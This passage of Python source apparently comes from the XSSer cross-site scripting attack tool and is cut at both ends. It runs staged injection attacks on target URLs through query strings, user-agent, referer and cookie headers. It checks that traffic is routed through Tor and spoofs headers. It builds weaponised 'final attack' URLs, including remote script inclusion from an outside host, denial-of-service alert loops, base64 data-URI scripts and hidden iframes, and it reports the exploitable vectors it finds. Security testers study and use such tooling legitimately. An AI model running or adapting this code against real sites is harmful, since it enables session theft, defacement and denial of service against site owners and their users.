  2763. agent = random.choice(agents).strip() # set random user-agent
  2764. referer = "127.0.0.1"
  2765. print("\n[Info] Sending request to: " + url + "\n")
  2766. print("-"*25+"\n")
  2767. headers = {'User-Agent' : agent, 'Referer' : referer} # set fake user-agent and referer
  2768. try:
  2769. req = urllib.request.Request(url, None, headers)
  2770. tor_reply = urllib.request.urlopen(req).read().decode('utf-8')
  2771. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  2772. if not tor_reply or 'Congratulations' not in tor_reply:
  2773. print("It seems that Tor is not properly set.\n")
  2774. print("IP address appears to be: " + your_ip + "\n")
  2775. else:
  2776. print("Congratulations!. Tor is properly being used :-)\n")
  2777. print("IP address appears to be: " + your_ip + "\n")
  2778. except:
  2779. print("[Error] Cannot reach TOR checker system!. Are you connected?\n")
  2780. sys.exit(2) # return
  2781. # step 0: get workers
  2782. nthreads = max(1, abs(options.threads))
  2783. nworkers = len(self.pool.workers)
  2784. if nthreads != nworkers:
  2785. if nthreads < nworkers:
  2786. self.pool.dismissWorkers(nworkers-nthreads)
  2787. else:
  2788. self.pool.createWorkers(nthreads-nworkers)
  2789. for reporter in self._reporters:
  2790. reporter.report_state('scanning')
  2791. # step 1: get urls
  2792. urls = self.try_running(self._get_attack_urls, "\n[Error] Internal error getting -targets-\n")
  2793. for reporter in self._reporters:
  2794. reporter.report_state('arming')
  2795. # step 2: get payloads
  2796. payloads = self.try_running(self.get_payloads, "\n[Error] Internal error getting -payloads-\n")
  2797. for reporter in self._reporters:
  2798. reporter.report_state('cloaking')
  2799. if options.Dwo:
  2800. payloads = self.process_payloads_ipfuzzing(payloads)
  2801. elif options.Doo:
  2802. payloads = self.process_payloads_ipfuzzing_octal(payloads)
  2803. for reporter in self._reporters:
  2804. reporter.report_state('locking targets')
  2805. # step 3: get query string
  2806. query_string = self.try_running(self.get_query_string, "\n[Error] Internal problems getting query -string-\n")
  2807. for reporter in self._reporters:
  2808. reporter.report_state('sanitize')
  2809. urls = self.sanitize_urls(urls)
  2810. for reporter in self._reporters:
  2811. reporter.report_state('attack')
  2812. # step 4: perform attack
  2813. self.try_running(self.attack, "\n[Error] Internal problems running attack...\n", (urls, payloads, query_string))
  2814. for reporter in self._reporters:
  2815. reporter.report_state('reporting')
  2816. if len(self.final_attacks):
  2817. self.report("[Info] Waiting for tokens to arrive...")
  2818. while self._ongoing_requests and not self._landing:
  2819. if not self.pool:
  2820. self.mothership.poll_workers()
  2821. else:
  2822. self.poll_workers()
  2823. time.sleep(0.2)
  2824. for reporter in self._reporters:
  2825. reporter.report_state('final sweep...')
  2826. if self.pool:
  2827. self.pool.dismissWorkers(len(self.pool.workers))
  2828. self.pool.joinAllDismissedWorkers()
  2829. start = time.time()
  2830. while not self._landing and len(self.final_attacks) and time.time() - start < 5.0:
  2831. time.sleep(0.2)
  2832. for reporter in self._reporters:
  2833. reporter.report_state('landing... '+str(int(5.0 - (time.time() - start))))
  2834. if self.final_attacks and self.options.reversecheck: # try a --reverse-check
  2835. final_attack_payloads = []
  2836. self.report("="*45)
  2837. self.report("[*] Reverse Check(s) Results:")
  2838. self.report("="*45 + "\n")
  2839. for final_attack in self.final_attacks.values():
  2840. if final_attack not in final_attack_payloads:
  2841. final_attack_payloads.append(final_attack)
  2842. for final in final_attack_payloads:
  2843. if self.hash_found:
  2844. for l in self.hash_found:
  2845. hashing = l[3]
  2846. for k, v in final.items():
  2847. if 'success/'+hashing in v: # find XSS "remote poison" payload!
  2848. if not self.options.postdata: # GET
  2849. self.report("[Info] Generating 'XSS Tunneling' [HTTP GET] exploit:\n")
  2850. else: # POST
  2851. self.report("[Info] Generating 'XSS Tunneling' [HTTP POST] exploit:\n")
  2852. if "#http://localhost:19084/success/"+str(hashing) in v: # re-parsing injected params for POST
  2853. v = v.replace("#http://localhost:19084/success/"+str(hashing), "")
  2854. if "<script>document.location=document.location.hash.substring(1)</script>" in v:
  2855. v = v.replace("<script>document.location=document.location.hash.substring(1)", "<script src='http://localhost:19084/success/"+str(hashing)+"'>")
  2856. self.report(v , "\n")
  2857. self.report("-"*25+"\n")
  2858. self.token_arrived_flag, self.success_arrived_flag, self.token_arrived_hash = self.hub.check_hash(hashing) # validate hashes (client+server)
  2859. if self.token_arrived_flag == True and self.token_arrived_hash:
  2860. self.report("[Info] Validating HASHES:\n")
  2861. if self.success_arrived_flag == False:
  2862. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [", self.token_arrived_hash, "] -> [OK!]\n")
  2863. else:
  2864. self.report(" INJECTED: [", hashing, "] <-> RECEIVED: [KEYWORD: '/success/' via remote Cross URL Injection] -> [OK!]\n")
  2865. self.report("-"*25+"\n")
  2866. if self.options.postdata: # POST
  2867. self.report("[Info] XSS [HTTP POST] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "(POST:", query_string + ")\n")
  2868. else: # GET
  2869. self.report("[Info] XSS [HTTP GET] VECTOR [100% VULNERABLE] FOUND!:\n\n|-> "+"".join(self.successful_urls), "\n")
  2870. self.token_arrived_hashes.append(self.token_arrived_hash) # add token arrived hashes for counting
  2871. else:
  2872. self.report("[Error] Remote XSS exploit [--reverse-check] has FAILED! -> [PASSING!]\n")
  2873. self.report("-"*25+"\n")
  2874. if self.options.reversecheck or self.options.dom:
  2875. try:
  2876. self.driver.close() # end headless embed web browser driver!
  2877. except:
  2878. try:
  2879. self.driver.quit() # try quit()
  2880. except:
  2881. pass
  2882. for reporter in self._reporters:
  2883. reporter.end_attack() # end reports
  2884. if self.mothership:
  2885. self.mothership.remove_reporter(self) # end mothership
  2886. if self.hub:
  2887. self.land() # end token hub server
  2888. self.print_results()
  2889. def sanitize_urls(self, urls):
  2890. all_urls = set()
  2891. if urls is not None:
  2892. for url in urls:
  2893. if url.startswith("http://") or url.startswith("https://"):
  2894. self.urlspoll.append(url)
  2895. all_urls.add(url)
  2896. else:
  2897. if self.options.crawling:
  2898. self.report("[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2899. else:
  2900. self.report("\n[Error] This target URL: (" + url + ") is not correct! [DISCARDED]\n")
  2901. url = None
  2902. else:
  2903. self.report("\n[Error] Not any valid source provided to start a test... Aborting!\n")
  2904. return all_urls
  2905. def land(self, join=False):
  2906. self._landing = True
  2907. if self.hub:
  2908. self.hub.shutdown()
  2909. if join:
  2910. self.hub.join()
  2911. self.hub = None
  2912. def _prepare_extra_attacks(self, payload):
  2913. """
  2914. Setup extra attacks.
  2915. """
  2916. options = self.options
  2917. agents = [] # user-agents
  2918. try:
  2919. f = open("core/fuzzing/user-agents.txt").readlines() # set path for user-agents
  2920. except:
  2921. f = open("fuzzing/user-agents.txt").readlines() # set path for user-agents when testing
  2922. for line in f:
  2923. agents.append(line)
  2924. extra_agent = random.choice(agents).strip() # set random user-agent
  2925. extra_referer = "127.0.0.1"
  2926. extra_cookie = None
  2927. if self.options.script:
  2928. if 'XSS' in payload['payload']:
  2929. payload['payload'] = payload['payload'].replace("XSS","PAYLOAD")
  2930. if 'PAYLOAD' in payload['payload'] or 'XSS' in payload['payload']:
  2931. if options.xsa:
  2932. hashing = self.generate_hash('xsa')
  2933. agent = payload['payload'].replace('PAYLOAD', hashing)
  2934. self._ongoing_attacks['xsa'] = hashing
  2935. self.xsa_injection = self.xsa_injection + 1
  2936. self.options.agent = agent
  2937. extra_agent = agent
  2938. self.extra_hashed_injections[hashing] = "XSA", payload['payload']
  2939. if options.xsr:
  2940. hashing = self.generate_hash('xsr')
  2941. referer = payload['payload'].replace('PAYLOAD', hashing)
  2942. self._ongoing_attacks['xsr'] = hashing
  2943. self.xsr_injection = self.xsr_injection + 1
  2944. self.options.referer = referer
  2945. extra_referer = referer
  2946. self.extra_hashed_injections[hashing] = "XSR", payload['payload']
  2947. if options.coo:
  2948. hashing = self.generate_hash('cookie')
  2949. cookie = payload['payload'].replace('PAYLOAD', hashing)
  2950. self._ongoing_attacks['coo'] = hashing
  2951. self.coo_injection = self.coo_injection + 1
  2952. self.options.cookie = cookie
  2953. extra_cookie = cookie
  2954. self.extra_hashed_injections[hashing] = "COO", payload['payload']
  2955. return extra_agent, extra_referer, extra_cookie
  2956. def attack(self, urls, payloads, query_string):
  2957. """
  2958. Perform an attack on the given urls with the provided payloads and
  2959. query_string.
  2960. """
  2961. for url in urls:
  2962. if self.pool:
  2963. self.poll_workers()
  2964. else:
  2965. self.mothership.poll_workers()
  2966. if not self._landing:
  2967. self.attack_url(url, payloads, query_string)
  2968. def generate_real_attack_url(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  2969. """
  2970. Generate a real attack url using data from a successful test.
  2971. This method also applies DOM stealth mechanisms.
  2972. """
  2973. user_attack_payload = payload['payload']
  2974. if self.options.finalpayload:
  2975. user_attack_payload = self.options.finalpayload
  2976. elif self.options.finalremote:
  2977. user_attack_payload = '<script src="' + self.options.finalremote + '"></script>'
  2978. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Data Control Protocol Injection]":
  2979. user_attack_payload = '<a href="data:text/html;base64,' + b64encode(self.options.finalpayload) + '></a>'
  2980. elif self.options.finalpayload or self.options.finalremote and payload["browser"] == "[Induced Injection]":
  2981. user_attack_payload = self.options.finalpayload
  2982. if self.options.dos:
  2983. user_attack_payload = '<script>for(;;)alert("You were XSSed!!");</script>'
  2984. if self.options.doss:
  2985. user_attack_payload = '<meta%20http-equiv="refresh"%20content="0;">'
  2986. if self.options.b64:
  2987. user_attack_payload = '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4">'
  2988. if self.options.onm:
  2989. user_attack_payload = '"style="position:absolute;top:0;left:0;z-index:1000;width:3000px;height:3000px" onMouseMove="' + user_attack_payload
  2990. if self.options.ifr:
  2991. user_attack_payload = '<iframe src="' + user_attack_payload + '" width="0" height="0"></iframe>'
  2992. do_anchor_payload = self.options.anchor
  2993. anchor_data = None
  2994. attack_hash = None
  2995. if do_anchor_payload: # DOM Shadows!
  2996. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  2997. dest_url = dest_url.replace('?', '#')
  2998. else:
  2999. dest_url, agent, referer, cookie = self.get_url_payload(orig_url, payload, query_string, user_attack_payload)
  3000. if attack_hash:
  3001. self.final_attacks[attack_hash] = {'url':dest_url}
  3002. return dest_url
  3003. def token_arrived(self, attack_hash):
  3004. if not self.mothership: # only mothership calls on token arrival
  3005. self.final_attack_callback(attack_hash)
  3006. def final_attack_callback(self, attack_hash):
  3007. if attack_hash in self.final_attacks:
  3008. dest_url = self.final_attacks[attack_hash]['url']
  3009. for reporter in self._reporters:
  3010. reporter.add_checked(dest_url)
  3011. if self._reporter:
  3012. from twisted.internet import reactor
  3013. reactor.callFromThread(self._reporter.post, 'SUCCESS ' + dest_url)
  3014. def apply_postprocessing(self, dest_url, description, method, hashing, query_string, payload, orig_url):
  3015. real_attack_url = self.generate_real_attack_url(dest_url, description, method, hashing, query_string, payload, orig_url)
  3016. return real_attack_url
  3017. def report(self, *args):
  3018. args = list([str(s) for s in args])
  3019. formatted = " ".join(args)
  3020. if not self.options.silent:
  3021. print(formatted)
  3022. for reporter in self._reporters:
  3023. reporter.post(formatted)
  3024. def print_results(self):
  3025. """
  3026. Print results from attack.
  3027. """
  3028. self.report('='*75)
  3029. total_injections = len(self.hash_found) + len(self.hash_notfound)
  3030. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3031. pass
  3032. elif self.options.heuristic:
  3033. pass
  3034. else:
  3035. self.report("[*] Final Results:")
  3036. self.report('='*75 + '\n')
  3037. self.report("- Injections:", total_injections)
  3038. self.report("- Failed:", len(self.hash_notfound))
  3039. self.report("- Successful:", len(self.hash_found))
  3040. try:
  3041. _accur = len(self.hash_found) * 100 / total_injections
  3042. except ZeroDivisionError:
  3043. _accur = 0
  3044. self.report("- Accur: %s %%\n" % _accur)
  3045. if not len(self.hash_found) and self.hash_notfound:
  3046. self.report('='*75 + '\n')
  3047. pass
  3048. else:
  3049. self.report('='*75)
  3050. self.report("[*] List of XSS injections:")
  3051. self.report('='*75 + '\n')
  3052. if len(self.hash_found) > 1:
  3053. if len(self.token_arrived_hashes) > 0:
  3054. if len(self.hash_found) == len(self.token_arrived_hashes):
  3055. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vectors [100% VULNERABLE]! ;-)\n")
  3056. else:
  3057. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.token_arrived_hashes)) + " ] XSS [100% VULNERABLE] of [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3058. else:
  3059. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vectors! ;-)\n")
  3060. else:
  3061. if len(self.token_arrived_hashes) > 0:
  3062. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] XSS vector [100% VULNERABLE]! ;-)\n")
  3063. else:
  3064. self.report("-> CONGRATULATIONS: You have found: [ " + str(len(self.hash_found)) + " ] possible XSS vector! ;-)\n")
  3065. self.report("---------------------" + "\n")
  3066. if self.options.fileoutput:
  3067. fout = open("XSSreport.raw", "w") # write better than append
  3068. for line in self.hash_found:
  3069. if self.options.heuristic or self.options.hash: # not final attack possible when checking
  3070. pass
  3071. else:
  3072. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  3073. if line[2] == "XSR":
  3074. self.xsr_found = self.xsr_found + 1
  3075. if len(self.hash_found) < 11:
  3076. if line[4]: # when query string
  3077. self.report("[+] Target:", line[6] + " | " + line[4])
  3078. else:
  3079. self.report("[+] Target:", line[6])
  3080. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3081. self.report("[!] Method: Referer Injection")
  3082. self.report("[*] Hash:", line[3])
  3083. self.report("[*] Payload:", str(Curl.referer))
  3084. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3085. if self.options.fileoutput:
  3086. fout.write("="*75)
  3087. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3088. fout.write("="*75 + "\n\n")
  3089. for h in self.hash_found:
  3090. if h[2] == "XSR":
  3091. if h[4]:
  3092. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3093. else:
  3094. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3095. fout.write("="*75 + "\n\n")
  3096. elif line[2] == "XSA":
  3097. self.xsa_found = self.xsa_found + 1
  3098. if len(self.hash_found) < 11:
  3099. if line[4]: # when query string
  3100. self.report("[+] Target:", line[6] + " | " + line[4])
  3101. else:
  3102. self.report("[+] Target:", line[6])
  3103. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3104. self.report("[!] Method: User-Agent Injection")
  3105. self.report("[*] Hash:", line[3])
  3106. self.report("[*] Payload:", str(Curl.agent))
  3107. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3108. if self.options.fileoutput:
  3109. fout.write("="*75)
  3110. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3111. fout.write("="*75 + "\n\n")
  3112. for h in self.hash_found:
  3113. if h[2] == "XSA":
  3114. if h[4]:
  3115. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3116. else:
  3117. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3118. fout.write("="*75 + "\n\n")
  3119. elif line[2] == "COO":
  3120. self.coo_found = self.coo_found + 1
  3121. if len(self.hash_found) < 11:
  3122. if line[4]: # when query string
  3123. self.report("[+] Target:", line[6] + " | " + line[4])
  3124. else:
  3125. self.report("[+] Target:", line[6])
  3126. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3127. self.report("[!] Method: Cookie Injection")
  3128. self.report("[*] Hash:", line[3])
  3129. self.report("[*] Payload:", str(Curl.cookie))
  3130. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3131. if self.options.fileoutput:
  3132. fout.write("="*75)
  3133. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3134. fout.write("="*75 + "\n\n")
  3135. for h in self.hash_found:
  3136. if h[2] == "COO":
  3137. if h[4]:
  3138. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3139. else:
  3140. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3141. fout.write("="*75 + "\n\n")
  3142. elif line[1] == "[Data Control Protocol Injection]":
  3143. self.dcp_found = self.dcp_found + 1
  3144. if len(self.hash_found) < 11:
  3145. if line[4]: # when query string
  3146. self.report("[+] Target:", line[6] + " | " + line[4])
  3147. else:
  3148. self.report("[+] Target:", line[6])
  3149. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3150. self.report("[!] Method: DCP")
  3151. self.report("[*] Hash:", line[3])
  3152. self.report("[*] Payload:", line[0])
  3153. self.report("[!] Vulnerable: DCP (Data Control Protocol)")
  3154. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3155. self.report("[*] Final Attack:", attack_url)
  3156. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3157. if self.options.fileoutput:
  3158. fout.write("="*75)
  3159. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3160. fout.write("="*75 + "\n\n")
  3161. for h in self.hash_found:
  3162. if h[4]:
  3163. if h[1] == "[Data Control Protocol Injection]":
  3164. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3165. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3166. else:
  3167. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3168. else:
  3169. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3170. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3171. else:
  3172. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3173. fout.write("="*75 + "\n\n")
  3174. elif line[1] == "[Document Object Model Injection]":
  3175. self.dom_found = self.dom_found + 1
  3176. if len(self.hash_found) < 11:
  3177. if line[4]: # when query string
  3178. self.report("[+] Target:", line[6] + " | " + line[4])
  3179. else:
  3180. self.report("[+] Target:", line[6])
  3181. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3182. self.report("[!] Method: DOM")
  3183. self.report("[*] Hash:", line[3])
  3184. self.report("[*] Payload:", line[0])
  3185. self.report("[!] Vulnerable: DOM (Document Object Model)")
  3186. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3187. self.report("[*] Final Attack:", attack_url)
  3188. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3189. if self.options.fileoutput:
  3190. fout.write("="*75)
  3191. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3192. fout.write("="*75 + "\n\n")
  3193. for h in self.hash_found:
  3194. if h[1] == "[Document Object Model Injection]":
  3195. if h[4]:
  3196. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3197. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3198. else:
  3199. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3200. else:
  3201. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3202. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3203. else:
  3204. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3205. fout.write("="*75 + "\n\n")
  3206. elif line[1] == "[Induced Injection]":
  3207. self.httpsr_found = self.httpsr_found +1
  3208. if len(self.hash_found) < 11:
  3209. if line[4]: # when query string
  3210. self.report("[+] Target:", line[6] + " | " + line[4])
  3211. else:
  3212. self.report("[+] Target:", line[6])
  3213. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3214. self.report("[!] Method: INDUCED")
  3215. self.report("[*] Hash:", line[3])
  3216. self.report("[*] Payload:", line[0])
  3217. self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
  3218. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3219. self.report("[*] Final Attack:", attack_url)
  3220. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3221. if self.options.fileoutput:
  3222. fout.write("="*75)
  3223. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3224. fout.write("="*75 + "\n\n")
  3225. for h in self.hash_found:
  3226. if h[4]:
  3227. if h[1] == "[Induced Injection]":
  3228. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3229. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3230. else:
  3231. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3232. else:
  3233. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3234. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3235. else:
  3236. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3237. fout.write("="*75 + "\n\n")
  3238. elif line[1] == "[hashing check]":
  3239. if len(self.hash_found) < 11:
  3240. if line[4]:
  3241. self.report("[+] Target:", line[6] + " | " + line[4])
  3242. else:
  3243. self.report("[+] Target:", line[6])
  3244. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3245. self.report("[!] Method:", line[2])
  3246. self.report("[*] Payload:", line[5])
  3247. self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
  3248. if self.options.fileoutput:
  3249. fout.write("="*75)
  3250. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3251. fout.write("="*75 + "\n\n")
  3252. for h in self.hash_found:
  3253. if h[1] == "[hashing check]":
  3254. if h[4]:
  3255. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3256. else:
  3257. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3258. fout.write("="*75 + "\n\n")
  3259. elif line[1] == "[manual_injection]":
  3260. self.manual_found = self.manual_found + 1
  3261. if len(self.hash_found) < 11:
  3262. if line[4]: # when query string
  3263. self.report("[+] Target:", line[6] + " | " + line[4])
  3264. else:
  3265. self.report("[+] Target:", line[6])
  3266. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3267. self.report("[!] Method: MANUAL")
  3268. self.report("[*] Hash:", line[3])
  3269. self.report("[*] Payload:", line[0])
  3270. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3271. self.report("[*] Final Attack:", attack_url)
  3272. if self.token_arrived_flag == True:
  3273. self.report("[!] Status: XSS FOUND! [100% VULNERABLE]", "\n", '-'*50, "\n")
  3274. else:
  3275. if self.options.reversecheck:
  3276. self.report("[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]", "\n", '-'*50, "\n")
  3277. else:
  3278. self.report("[!] Status: XSS FOUND! [WITHOUT --reverse-check VALIDATION!]", "\n", '-'*50, "\n")
  3279. if self.options.fileoutput:
  3280. fout.write("="*75)
  3281. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3282. fout.write("="*75 + "\n\n")
  3283. for line in self.hash_found:
  3284. if line[4]:
  3285. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3286. if self.token_arrived_flag == True:
  3287. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [100% VULNERABLE]\n\n")
  3288. else:
  3289. if self.options.reversecheck:
  3290. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND! [BUT --reverse-check VALIDATION has FAILED!]\n\n")
  3291. else:
